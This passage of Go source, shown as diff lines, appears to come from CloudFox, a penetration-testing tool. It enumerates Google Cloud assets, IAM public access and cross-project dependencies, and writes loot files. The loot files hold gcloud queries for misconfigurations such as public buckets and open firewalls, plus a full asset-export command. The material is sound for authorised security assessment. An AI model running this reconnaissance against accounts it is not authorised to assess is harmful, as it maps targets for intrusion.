m.GetProjectName(repo.ProjectID),
|
||||
repoName,
|
||||
repo.Format,
|
||||
repo.Location,
|
||||
mode,
|
||||
publicDisplay,
|
||||
repo.EncryptionType,
|
||||
binding.Role,
|
||||
memberType,
|
||||
member,
|
||||
})
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// Repository with no IAM bindings
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(repo.ProjectID),
|
||||
repoName,
|
||||
repo.Format,
|
||||
repo.Location,
|
||||
mode,
|
||||
publicDisplay,
|
||||
repo.EncryptionType,
|
||||
"-",
|
||||
"-",
|
||||
"-",
|
||||
})
|
||||
}
|
||||
}
|
||||
return body
|
||||
}
|
||||
|
||||
// artifactsToTableBody converts artifacts to table body rows
|
||||
func (m *ArtifactRegistryModule) artifactsToTableBody(artifacts []ArtifactRegistryService.ArtifactInfo) [][]string {
|
||||
var body [][]string
|
||||
for _, artifact := range artifacts {
|
||||
// Format tags
|
||||
tags := "-"
|
||||
if len(artifact.Tags) > 0 {
|
||||
if len(artifact.Tags) <= 3 {
|
||||
tags = strings.Join(artifact.Tags, ", ")
|
||||
} else {
|
||||
tags = fmt.Sprintf("%s (+%d more)", strings.Join(artifact.Tags[:3], ", "), len(artifact.Tags)-3)
|
||||
}
|
||||
}
|
||||
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(artifact.ProjectID),
|
||||
artifact.Name,
|
||||
artifact.Repository,
|
||||
artifact.Location,
|
||||
tags,
|
||||
artifact.Digest,
|
||||
artifact.SizeBytes,
|
||||
artifact.Uploaded,
|
||||
})
|
||||
}
|
||||
return body
|
||||
}
|
||||
|
||||
// buildTablesForProject builds table files for a project
|
||||
func (m *ArtifactRegistryModule) buildTablesForProject(projectID string) []internal.TableFile {
|
||||
var tableFiles []internal.TableFile
|
||||
|
||||
if repos, ok := m.ProjectRepositories[projectID]; ok && len(repos) > 0 {
|
||||
tableFiles = append(tableFiles, internal.TableFile{
|
||||
Name: fmt.Sprintf("%s-repos", globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME),
|
||||
Header: m.getRepoHeader(),
|
||||
Body: m.reposToTableBody(repos),
|
||||
})
|
||||
}
|
||||
|
||||
if artifacts, ok := m.ProjectArtifacts[projectID]; ok && len(artifacts) > 0 {
|
||||
tableFiles = append(tableFiles, internal.TableFile{
|
||||
Name: fmt.Sprintf("%s-artifacts", globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME),
|
||||
Header: m.getArtifactHeader(),
|
||||
Body: m.artifactsToTableBody(artifacts),
|
||||
})
|
||||
}
|
||||
|
||||
return tableFiles
|
||||
}
|
||||
|
||||
// writeHierarchicalOutput writes output to per-project directories
|
||||
func (m *ArtifactRegistryModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
|
||||
outputData := internal.HierarchicalOutputData{
|
||||
OrgLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
}
|
||||
|
||||
for projectID := range m.ProjectRepositories {
|
||||
tableFiles := m.buildTablesForProject(projectID)
|
||||
|
||||
// Collect loot for this project
|
||||
var lootFiles []internal.LootFile
|
||||
if projectLoot, ok := m.LootMap[projectID]; ok {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n") {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
outputData.ProjectLevelData[projectID] = ArtifactRegistryOutput{Table: tableFiles, Loot: lootFiles}
|
||||
}
|
||||
|
||||
// Also add projects that only have artifacts
|
||||
for projectID := range m.ProjectArtifacts {
|
||||
if _, exists := outputData.ProjectLevelData[projectID]; !exists {
|
||||
tableFiles := m.buildTablesForProject(projectID)
|
||||
|
||||
var lootFiles []internal.LootFile
|
||||
if projectLoot, ok := m.LootMap[projectID]; ok {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n") {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
outputData.ProjectLevelData[projectID] = ArtifactRegistryOutput{Table: tableFiles, Loot: lootFiles}
|
||||
}
|
||||
}
|
||||
|
||||
pathBuilder := m.BuildPathBuilder()
|
||||
|
||||
err := internal.HandleHierarchicalOutputSmart(
|
||||
"gcp",
|
||||
m.Format,
|
||||
m.Verbosity,
|
||||
m.WrapTable,
|
||||
pathBuilder,
|
||||
outputData,
|
||||
)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME)
|
||||
m.CommandCounter.Error++
|
||||
}
|
||||
}
|
||||
|
||||
// writeFlatOutput writes all output to a single directory (legacy mode)
|
||||
func (m *ArtifactRegistryModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
|
||||
allRepos := m.getAllRepositories()
|
||||
allArtifacts := m.getAllArtifacts()
|
||||
|
||||
// Build table files
|
||||
tableFiles := []internal.TableFile{{
|
||||
Name: fmt.Sprintf("%s-repos", globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME),
|
||||
Header: m.getRepoHeader(),
|
||||
Body: m.reposToTableBody(allRepos),
|
||||
}}
|
||||
|
||||
if len(allArtifacts) > 0 {
|
||||
tableFiles = append(tableFiles, internal.TableFile{
|
||||
Name: fmt.Sprintf("%s-artifacts", globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME),
|
||||
Header: m.getArtifactHeader(),
|
||||
Body: m.artifactsToTableBody(allArtifacts),
|
||||
})
|
||||
}
|
||||
|
||||
// Collect all loot files
|
||||
var lootFiles []internal.LootFile
|
||||
for _, projectLoot := range m.LootMap {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n") {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
output := ArtifactRegistryOutput{
|
||||
Table: tableFiles,
|
||||
Loot: lootFiles,
|
||||
}
|
||||
|
||||
// Write output using HandleOutputSmart with scope support
|
||||
scopeNames := make([]string, len(m.ProjectIDs))
|
||||
for i, id := range m.ProjectIDs {
|
||||
scopeNames[i] = m.GetProjectName(id)
|
||||
}
|
||||
err := internal.HandleOutputSmart(
|
||||
"gcp",
|
||||
m.Format,
|
||||
m.OutputDirectory,
|
||||
m.Verbosity,
|
||||
m.WrapTable,
|
||||
"project",
|
||||
m.ProjectIDs,
|
||||
scopeNames,
|
||||
m.Account,
|
||||
output,
|
||||
)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME)
|
||||
m.CommandCounter.Error++
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,861 @@
|
||||
package commands
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
asset "cloud.google.com/go/asset/apiv1"
|
||||
"cloud.google.com/go/asset/apiv1/assetpb"
|
||||
assetservice "github.com/BishopFox/cloudfox/gcp/services/assetService"
|
||||
"github.com/BishopFox/cloudfox/gcp/shared"
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
|
||||
"github.com/spf13/cobra"
|
||||
"google.golang.org/api/iterator"
|
||||
)
|
||||
|
||||
var (
|
||||
assetTypes []string
|
||||
showCounts bool
|
||||
checkIAM bool
|
||||
showDependencies bool
|
||||
showAll bool
|
||||
)
|
||||
|
||||
var GCPAssetInventoryCommand = &cobra.Command{
|
||||
Use: globals.GCP_ASSET_INVENTORY_MODULE_NAME,
|
||||
Aliases: []string{"assets", "cai", "resource-graph"},
|
||||
Short: "Deep asset analysis with IAM and dependencies (requires Cloud Asset API)",
|
||||
Long: `Deep resource analysis using Cloud Asset Inventory API.
|
||||
|
||||
USE THIS COMMAND WHEN:
|
||||
- You need IAM policy analysis (public access detection)
|
||||
- You want to analyze resource dependencies and cross-project relationships
|
||||
- You need to filter by specific asset types
|
||||
- Cloud Asset API is enabled in your projects
|
||||
|
||||
REQUIRES: Cloud Asset API (cloudasset.googleapis.com) to be enabled.
|
||||
To enable: gcloud services enable cloudasset.googleapis.com --project=PROJECT_ID
|
||||
|
||||
If Cloud Asset API is not enabled, use 'inventory' command instead for a quick
|
||||
overview that works without the API.
|
||||
|
||||
FEATURES:
|
||||
- Lists all assets in a project (complete coverage via Asset API)
|
||||
- Provides asset counts by type (--counts)
|
||||
- Checks IAM policies for public access (--iam)
|
||||
- Analyzes resource dependencies and cross-project relationships (--dependencies)
|
||||
- Supports filtering by asset type (--types)
|
||||
- Generates query templates for common security use cases
|
||||
|
||||
Flags can be combined to run multiple analyses in a single run.
|
||||
|
||||
Examples:
|
||||
cloudfox gcp asset-inventory -p my-project
|
||||
cloudfox gcp asset-inventory -p my-project --counts
|
||||
cloudfox gcp asset-inventory -p my-project --iam
|
||||
cloudfox gcp asset-inventory -p my-project --dependencies
|
||||
cloudfox gcp asset-inventory -p my-project --all
|
||||
cloudfox gcp asset-inventory -A --iam # All projects, check public access
|
||||
cloudfox gcp asset-inventory -p my-project --types compute.googleapis.com/Instance,storage.googleapis.com/Bucket`,
|
||||
Run: runGCPAssetInventoryCommand,
|
||||
}
|
||||
|
||||
func init() {
|
||||
GCPAssetInventoryCommand.Flags().StringSliceVar(&assetTypes, "types", []string{}, "Filter by asset types (comma-separated)")
|
||||
GCPAssetInventoryCommand.Flags().BoolVar(&showCounts, "counts", false, "Show asset counts by type")
|
||||
GCPAssetInventoryCommand.Flags().BoolVar(&checkIAM, "iam", false, "Check IAM policies for public access")
|
||||
GCPAssetInventoryCommand.Flags().BoolVar(&showDependencies, "dependencies", false, "Analyze resource dependencies and cross-project relationships")
|
||||
GCPAssetInventoryCommand.Flags().BoolVar(&showAll, "all", false, "Run all analyses (counts, IAM, dependencies)")
|
||||
}
|
||||
|
||||
// ResourceDependency represents a dependency between two resources
|
||||
type ResourceDependency struct {
|
||||
SourceResource string
|
||||
SourceType string
|
||||
TargetResource string
|
||||
TargetType string
|
||||
DependencyType string // uses, references, contains
|
||||
ProjectID string
|
||||
}
|
||||
|
||||
// CrossProjectResource represents a resource accessed from multiple projects
|
||||
type CrossProjectResource struct {
|
||||
ResourceName string
|
||||
ResourceType string
|
||||
OwnerProject string
|
||||
AccessedFrom []string
|
||||
}
|
||||
|
||||
type AssetInventoryModule struct {
|
||||
gcpinternal.BaseGCPModule
|
||||
ProjectAssets map[string][]assetservice.AssetInfo // projectID -> assets
|
||||
ProjectTypeCounts map[string][]assetservice.AssetTypeCount // projectID -> counts
|
||||
ProjectDependencies map[string][]ResourceDependency // projectID -> dependencies
|
||||
CrossProject []CrossProjectResource // global (cross-project by nature)
|
||||
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
|
||||
mu sync.Mutex
|
||||
}
|
||||
|
||||
type AssetInventoryOutput struct {
|
||||
Table []internal.TableFile
|
||||
Loot []internal.LootFile
|
||||
}
|
||||
|
||||
func (o AssetInventoryOutput) TableFiles() []internal.TableFile { return o.Table }
|
||||
func (o AssetInventoryOutput) LootFiles() []internal.LootFile { return o.Loot }
|
||||
|
||||
func runGCPAssetInventoryCommand(cmd *cobra.Command, args []string) {
|
||||
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, globals.GCP_ASSET_INVENTORY_MODULE_NAME)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
module := &AssetInventoryModule{
|
||||
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
|
||||
ProjectAssets: make(map[string][]assetservice.AssetInfo),
|
||||
ProjectTypeCounts: make(map[string][]assetservice.AssetTypeCount),
|
||||
ProjectDependencies: make(map[string][]ResourceDependency),
|
||||
CrossProject: []CrossProjectResource{},
|
||||
LootMap: make(map[string]map[string]*internal.LootFile),
|
||||
}
|
||||
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
|
||||
}
|
||||
|
||||
func (m *AssetInventoryModule) getAllAssets() []assetservice.AssetInfo {
|
||||
var all []assetservice.AssetInfo
|
||||
for _, assets := range m.ProjectAssets {
|
||||
all = append(all, assets...)
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
func (m *AssetInventoryModule) getAllTypeCounts() []assetservice.AssetTypeCount {
|
||||
// Merge counts from all projects
|
||||
countMap := make(map[string]int)
|
||||
for _, counts := range m.ProjectTypeCounts {
|
||||
for _, c := range counts {
|
||||
countMap[c.AssetType] += c.Count
|
||||
}
|
||||
}
|
||||
|
||||
var all []assetservice.AssetTypeCount
|
||||
for assetType, count := range countMap {
|
||||
all = append(all, assetservice.AssetTypeCount{
|
||||
AssetType: assetType,
|
||||
Count: count,
|
||||
})
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
func (m *AssetInventoryModule) getAllDependencies() []ResourceDependency {
|
||||
var all []ResourceDependency
|
||||
for _, deps := range m.ProjectDependencies {
|
||||
all = append(all, deps...)
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
func (m *AssetInventoryModule) initializeLootForProject(projectID string) {
|
||||
if m.LootMap[projectID] == nil {
|
||||
m.LootMap[projectID] = make(map[string]*internal.LootFile)
|
||||
m.LootMap[projectID]["asset-inventory-details"] = &internal.LootFile{
|
||||
Name: "asset-inventory-details",
|
||||
Contents: "# Cloud Asset Inventory Details\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
|
||||
}
|
||||
m.LootMap[projectID]["asset-inventory-commands"] = &internal.LootFile{
|
||||
Name: "asset-inventory-commands",
|
||||
Contents: "# Cloud Asset Inventory Commands\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (m *AssetInventoryModule) Execute(ctx context.Context, logger internal.Logger) {
|
||||
// If --all is set, enable all flags
|
||||
if showAll {
|
||||
showCounts = true
|
||||
checkIAM = true
|
||||
showDependencies = true
|
||||
}
|
||||
|
||||
// If no flags set, default to basic asset listing
|
||||
noFlagsSet := !showCounts && !checkIAM && !showDependencies
|
||||
|
||||
// Run requested analyses
|
||||
if showCounts {
|
||||
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_ASSET_INVENTORY_MODULE_NAME, m.processProjectCounts)
|
||||
}
|
||||
|
||||
if checkIAM {
|
||||
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_ASSET_INVENTORY_MODULE_NAME, m.processProjectIAM)
|
||||
} else if noFlagsSet {
|
||||
// Only run basic listing if no flags and IAM not requested (IAM includes basic info)
|
||||
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_ASSET_INVENTORY_MODULE_NAME, m.processProject)
|
||||
}
|
||||
|
||||
if showDependencies {
|
||||
m.processProjectsDependencies(ctx, logger)
|
||||
}
|
||||
|
||||
// Build summary message
|
||||
var summaryParts []string
|
||||
|
||||
allTypeCounts := m.getAllTypeCounts()
|
||||
if len(allTypeCounts) > 0 {
|
||||
summaryParts = append(summaryParts, fmt.Sprintf("%d asset type(s)", len(allTypeCounts)))
|
||||
}
|
||||
|
||||
allAssets := m.getAllAssets()
|
||||
if len(allAssets) > 0 {
|
||||
summaryParts = append(summaryParts, fmt.Sprintf("%d asset(s)", len(allAssets)))
|
||||
}
|
||||
|
||||
if checkIAM {
|
||||
publicCount := 0
|
||||
for _, asset := range allAssets {
|
||||
if asset.PublicAccess {
|
||||
publicCount++
|
||||
}
|
||||
}
|
||||
if publicCount > 0 {
|
||||
summaryParts = append(summaryParts, fmt.Sprintf("%d with public access", publicCount))
|
||||
}
|
||||
}
|
||||
|
||||
allDeps := m.getAllDependencies()
|
||||
if len(allDeps) > 0 {
|
||||
summaryParts = append(summaryParts, fmt.Sprintf("%d dependencies", len(allDeps)))
|
||||
}
|
||||
|
||||
if len(m.CrossProject) > 0 {
|
||||
summaryParts = append(summaryParts, fmt.Sprintf("%d cross-project resources", len(m.CrossProject)))
|
||||
}
|
||||
|
||||
if len(summaryParts) == 0 {
|
||||
logger.InfoM("No assets found", globals.GCP_ASSET_INVENTORY_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
logger.SuccessM(fmt.Sprintf("Found %s", strings.Join(summaryParts, ", ")), globals.GCP_ASSET_INVENTORY_MODULE_NAME)
|
||||
m.writeOutput(ctx, logger)
|
||||
}
|
||||
|
||||
func (m *AssetInventoryModule) processProject(ctx context.Context, projectID string, logger internal.Logger) {
|
||||
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
logger.InfoM(fmt.Sprintf("Enumerating assets in project: %s", projectID), globals.GCP_ASSET_INVENTORY_MODULE_NAME)
|
||||
}
|
||||
|
||||
m.mu.Lock()
|
||||
m.initializeLootForProject(projectID)
|
||||
m.mu.Unlock()
|
||||
|
||||
svc := assetservice.New()
|
||||
assets, err := svc.ListAssets(projectID, assetTypes)
|
||||
if err != nil {
|
||||
m.CommandCounter.Error++
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_ASSET_INVENTORY_MODULE_NAME,
|
||||
fmt.Sprintf("Could not enumerate assets in project %s", projectID))
|
||||
return
|
||||
}
|
||||
|
||||
m.mu.Lock()
|
||||
m.ProjectAssets[projectID] = append(m.ProjectAssets[projectID], assets...)
|
||||
for _, asset := range assets {
|
||||
m.addToLoot(projectID, asset)
|
||||
}
|
||||
m.mu.Unlock()
|
||||
}
|
||||
|
||||
func (m *AssetInventoryModule) processProjectIAM(ctx context.Context, projectID string, logger internal.Logger) {
|
||||
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
logger.InfoM(fmt.Sprintf("Enumerating assets with IAM in project: %s", projectID), globals.GCP_ASSET_INVENTORY_MODULE_NAME)
|
||||
}
|
||||
|
||||
m.mu.Lock()
|
||||
m.initializeLootForProject(projectID)
|
||||
m.mu.Unlock()
|
||||
|
||||
svc := assetservice.New()
|
||||
assets, err := svc.ListAssetsWithIAM(projectID, assetTypes)
|
||||
if err != nil {
|
||||
m.CommandCounter.Error++
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_ASSET_INVENTORY_MODULE_NAME,
|
||||
fmt.Sprintf("Could not enumerate assets with IAM in project %s", projectID))
|
||||
return
|
||||
}
|
||||
|
||||
m.mu.Lock()
|
||||
m.ProjectAssets[projectID] = append(m.ProjectAssets[projectID], assets...)
|
||||
for _, asset := range assets {
|
||||
m.addToLoot(projectID, asset)
|
||||
}
|
||||
m.mu.Unlock()
|
||||
}
|
||||
|
||||
func (m *AssetInventoryModule) processProjectCounts(ctx context.Context, projectID string, logger internal.Logger) {
|
||||
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
logger.InfoM(fmt.Sprintf("Counting assets in project: %s", projectID), globals.GCP_ASSET_INVENTORY_MODULE_NAME)
|
||||
}
|
||||
|
||||
m.mu.Lock()
|
||||
m.initializeLootForProject(projectID)
|
||||
m.mu.Unlock()
|
||||
|
||||
svc := assetservice.New()
|
||||
counts, err := svc.GetAssetTypeCounts(projectID)
|
||||
if err != nil {
|
||||
m.CommandCounter.Error++
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_ASSET_INVENTORY_MODULE_NAME,
|
||||
fmt.Sprintf("Could not count assets in project %s", projectID))
|
||||
return
|
||||
}
|
||||
|
||||
m.mu.Lock()
|
||||
m.ProjectTypeCounts[projectID] = counts
|
||||
m.mu.Unlock()
|
||||
}
|
||||
|
||||
// processProjectsDependencies analyzes assets with full dependency tracking
|
||||
func (m *AssetInventoryModule) processProjectsDependencies(ctx context.Context, logger internal.Logger) {
|
||||
logger.InfoM("Analyzing assets and dependencies...", globals.GCP_ASSET_INVENTORY_MODULE_NAME)
|
||||
|
||||
assetClient, err := asset.NewClient(ctx)
|
||||
if err != nil {
|
||||
parsedErr := gcpinternal.ParseGCPError(err, "cloudasset.googleapis.com")
|
||||
gcpinternal.HandleGCPError(parsedErr, logger, globals.GCP_ASSET_INVENTORY_MODULE_NAME,
|
||||
"Could not create Cloud Asset client")
|
||||
return
|
||||
}
|
||||
defer assetClient.Close()
|
||||
|
||||
var wg sync.WaitGroup
|
||||
for _, projectID := range m.ProjectIDs {
|
||||
wg.Add(1)
|
||||
go func(project string) {
|
||||
defer wg.Done()
|
||||
m.processProjectWithDependencies(ctx, project, assetClient, logger)
|
||||
}(projectID)
|
||||
}
|
||||
wg.Wait()
|
||||
|
||||
// Analyze cross-project dependencies
|
||||
m.analyzeCrossProjectResources()
|
||||
|
||||
// Generate query templates
|
||||
m.generateQueryTemplates()
|
||||
}
|
||||
|
||||
func (m *AssetInventoryModule) processProjectWithDependencies(ctx context.Context, projectID string, assetClient *asset.Client, logger internal.Logger) {
|
||||
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
logger.InfoM(fmt.Sprintf("Analyzing dependencies in project: %s", projectID), globals.GCP_ASSET_INVENTORY_MODULE_NAME)
|
||||
}
|
||||
|
||||
m.mu.Lock()
|
||||
m.initializeLootForProject(projectID)
|
||||
m.mu.Unlock()
|
||||
|
||||
parent := fmt.Sprintf("projects/%s", projectID)
|
||||
req := &assetpb.ListAssetsRequest{
|
||||
Parent: parent,
|
||||
ContentType: assetpb.ContentType_RESOURCE,
|
||||
PageSize: 500,
|
||||
}
|
||||
|
||||
it := assetClient.ListAssets(ctx, req)
|
||||
|
||||
for {
|
||||
assetItem, err := it.Next()
|
||||
if err == iterator.Done {
|
||||
break
|
||||
}
|
||||
if err != nil {
|
||||
m.CommandCounter.Error++
|
||||
parsedErr := gcpinternal.ParseGCPError(err, "cloudasset.googleapis.com")
|
||||
gcpinternal.HandleGCPError(parsedErr, logger, globals.GCP_ASSET_INVENTORY_MODULE_NAME,
|
||||
fmt.Sprintf("Could not enumerate assets in project %s", projectID))
|
||||
break
|
||||
}
|
||||
|
||||
// Convert to AssetInfo for consistency
|
||||
assetInfo := assetservice.AssetInfo{
|
||||
Name: assetItem.Name,
|
||||
AssetType: assetItem.AssetType,
|
||||
ProjectID: projectID,
|
||||
}
|
||||
|
||||
if assetItem.Resource != nil {
|
||||
assetInfo.Location = assetItem.Resource.Location
|
||||
}
|
||||
|
||||
m.mu.Lock()
|
||||
m.ProjectAssets[projectID] = append(m.ProjectAssets[projectID], assetInfo)
|
||||
m.mu.Unlock()
|
||||
|
||||
// Analyze dependencies
|
||||
m.analyzeAssetDependencies(assetItem, projectID)
|
||||
}
|
||||
}
|
||||
|
||||
func (m *AssetInventoryModule) analyzeAssetDependencies(assetItem *assetpb.Asset, projectID string) {
|
||||
if assetItem.Resource == nil || assetItem.Resource.Data == nil {
|
||||
return
|
||||
}
|
||||
|
||||
// Common dependency patterns
|
||||
dependencyFields := map[string]string{
|
||||
"network": "uses",
|
||||
"subnetwork": "uses",
|
||||
"serviceAccount": "uses",
|
||||
"disk": "uses",
|
||||
"snapshot": "references",
|
||||
"image": "references",
|
||||
"keyRing": "uses",
|
||||
"cryptoKey": "uses",
|
||||
"topic": "references",
|
||||
"subscription": "references",
|
||||
"bucket": "uses",
|
||||
"dataset": "references",
|
||||
"cluster": "contains",
|
||||
}
|
||||
|
||||
for field, depType := range dependencyFields {
|
||||
if value, ok := assetItem.Resource.Data.Fields[field]; ok {
|
||||
targetResource := value.GetStringValue()
|
||||
if targetResource != "" {
|
||||
dependency := ResourceDependency{
|
||||
SourceResource: assetItem.Name,
|
||||
SourceType: assetItem.AssetType,
|
||||
TargetResource: targetResource,
|
||||
TargetType: m.inferResourceType(field),
|
||||
DependencyType: depType,
|
||||
ProjectID: projectID,
|
||||
}
|
||||
|
||||
m.mu.Lock()
|
||||
m.ProjectDependencies[projectID] = append(m.ProjectDependencies[projectID], dependency)
|
||||
m.mu.Unlock()
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (m *AssetInventoryModule) inferResourceType(fieldName string) string {
|
||||
typeMap := map[string]string{
|
||||
"network": "compute.googleapis.com/Network",
|
||||
"subnetwork": "compute.googleapis.com/Subnetwork",
|
||||
"serviceAccount": "iam.googleapis.com/ServiceAccount",
|
||||
"disk": "compute.googleapis.com/Disk",
|
||||
"snapshot": "compute.googleapis.com/Snapshot",
|
||||
"image": "compute.googleapis.com/Image",
|
||||
"keyRing": "cloudkms.googleapis.com/KeyRing",
|
||||
"cryptoKey": "cloudkms.googleapis.com/CryptoKey",
|
||||
"topic": "pubsub.googleapis.com/Topic",
|
||||
"subscription": "pubsub.googleapis.com/Subscription",
|
||||
"bucket": "storage.googleapis.com/Bucket",
|
||||
"dataset": "bigquery.googleapis.com/Dataset",
|
||||
"cluster": "container.googleapis.com/Cluster",
|
||||
}
|
||||
|
||||
if assetType, ok := typeMap[fieldName]; ok {
|
||||
return assetType
|
||||
}
|
||||
return "unknown"
|
||||
}
|
||||
|
||||
func (m *AssetInventoryModule) analyzeCrossProjectResources() {
|
||||
m.mu.Lock()
|
||||
defer m.mu.Unlock()
|
||||
|
||||
targetToSources := make(map[string][]string)
|
||||
targetToType := make(map[string]string)
|
||||
|
||||
allDeps := m.getAllDependencies()
|
||||
for _, dep := range allDeps {
|
||||
targetProject := m.extractProjectFromResource(dep.TargetResource)
|
||||
if targetProject != "" && targetProject != dep.ProjectID {
|
||||
targetToSources[dep.TargetResource] = append(targetToSources[dep.TargetResource], dep.ProjectID)
|
||||
targetToType[dep.TargetResource] = dep.TargetType
|
||||
}
|
||||
}
|
||||
|
||||
for target, sources := range targetToSources {
|
||||
crossProject := CrossProjectResource{
|
||||
ResourceName: target,
|
||||
ResourceType: targetToType[target],
|
||||
OwnerProject: m.extractProjectFromResource(target),
|
||||
AccessedFrom: sources,
|
||||
}
|
||||
|
||||
m.CrossProject = append(m.CrossProject, crossProject)
|
||||
}
|
||||
}
|
||||
|
||||
func (m *AssetInventoryModule) extractProjectFromResource(resource string) string {
|
||||
if strings.Contains(resource, "projects/") {
|
||||
parts := strings.Split(resource, "/")
|
||||
for i, part := range parts {
|
||||
if part == "projects" && i+1 < len(parts) {
|
||||
return parts[i+1]
|
||||
}
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (m *AssetInventoryModule) extractResourceName(resource string) string {
|
||||
parts := strings.Split(resource, "/")
|
||||
if len(parts) > 0 {
|
||||
return parts[len(parts)-1]
|
||||
}
|
||||
return resource
|
||||
}
|
||||
|
||||
func (m *AssetInventoryModule) generateQueryTemplates() {
|
||||
templates := []struct {
|
||||
Name string
|
||||
Description string
|
||||
Query string
|
||||
}{
|
||||
{"Public Storage Buckets", "Find all public GCS buckets", `resource.type="storage.googleapis.com/Bucket" AND resource.data.iamConfiguration.uniformBucketLevelAccess.enabled=false`},
|
||||
{"VMs with External IPs", "Find compute instances with external IP addresses", `resource.type="compute.googleapis.com/Instance" AND resource.data.networkInterfaces.accessConfigs:*`},
|
||||
{"Service Account Keys", "Find all user-managed service account keys", `resource.type="iam.googleapis.com/ServiceAccountKey" AND resource.data.keyType="USER_MANAGED"`},
|
||||
{"Firewall Rules - Open to Internet", "Find firewall rules allowing 0.0.0.0/0", `resource.type="compute.googleapis.com/Firewall" AND resource.data.sourceRanges:"0.0.0.0/0"`},
|
||||
{"Cloud SQL - Public IPs", "Find Cloud SQL instances with public IP", `resource.type="sqladmin.googleapis.com/Instance" AND resource.data.settings.ipConfiguration.ipv4Enabled=true`},
|
||||
{"Unencrypted Disks", "Find disks without customer-managed encryption", `resource.type="compute.googleapis.com/Disk" AND NOT resource.data.diskEncryptionKey:*`},
|
||||
{"GKE Clusters - Legacy Auth", "Find GKE clusters with legacy authentication", `resource.type="container.googleapis.com/Cluster" AND resource.data.legacyAbac.enabled=true`},
|
||||
}
|
||||
|
||||
// Add templates and export commands to each project's loot
|
||||
for _, projectID := range m.ProjectIDs {
|
||||
m.mu.Lock()
|
||||
m.initializeLootForProject(projectID)
|
||||
|
||||
if lootFile := m.LootMap[projectID]["asset-inventory-commands"]; lootFile != nil {
|
||||
for _, t := range templates {
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# %s - %s\ngcloud asset search-all-resources --scope=projects/%s --query='%s'\n\n",
|
||||
t.Name, t.Description, projectID, t.Query,
|
||||
)
|
||||
}
|
||||
|
||||
lootFile.Contents += "# Export complete asset inventory\n"
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"gcloud asset export --project=%s --content-type=resource --output-path=gs://BUCKET_NAME/%s-assets.json\n",
|
||||
projectID, projectID,
|
||||
)
|
||||
}
|
||||
m.mu.Unlock()
|
||||
}
|
||||
}
|
||||
|
||||
func (m *AssetInventoryModule) addToLoot(projectID string, asset assetservice.AssetInfo) {
|
||||
if lootFile := m.LootMap[projectID]["asset-inventory-details"]; lootFile != nil {
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# =============================================================================\n"+
|
||||
"# ASSET: %s\n"+
|
||||
"# =============================================================================\n"+
|
||||
"# Type: %s\n# Project: %s\n# Location: %s\n",
|
||||
asset.Name, asset.AssetType, asset.ProjectID, asset.Location)
|
||||
|
||||
if asset.PublicAccess {
|
||||
lootFile.Contents += "# Public Access: Yes\n"
|
||||
}
|
||||
lootFile.Contents += "\n"
|
||||
}
|
||||
}
|
||||
|
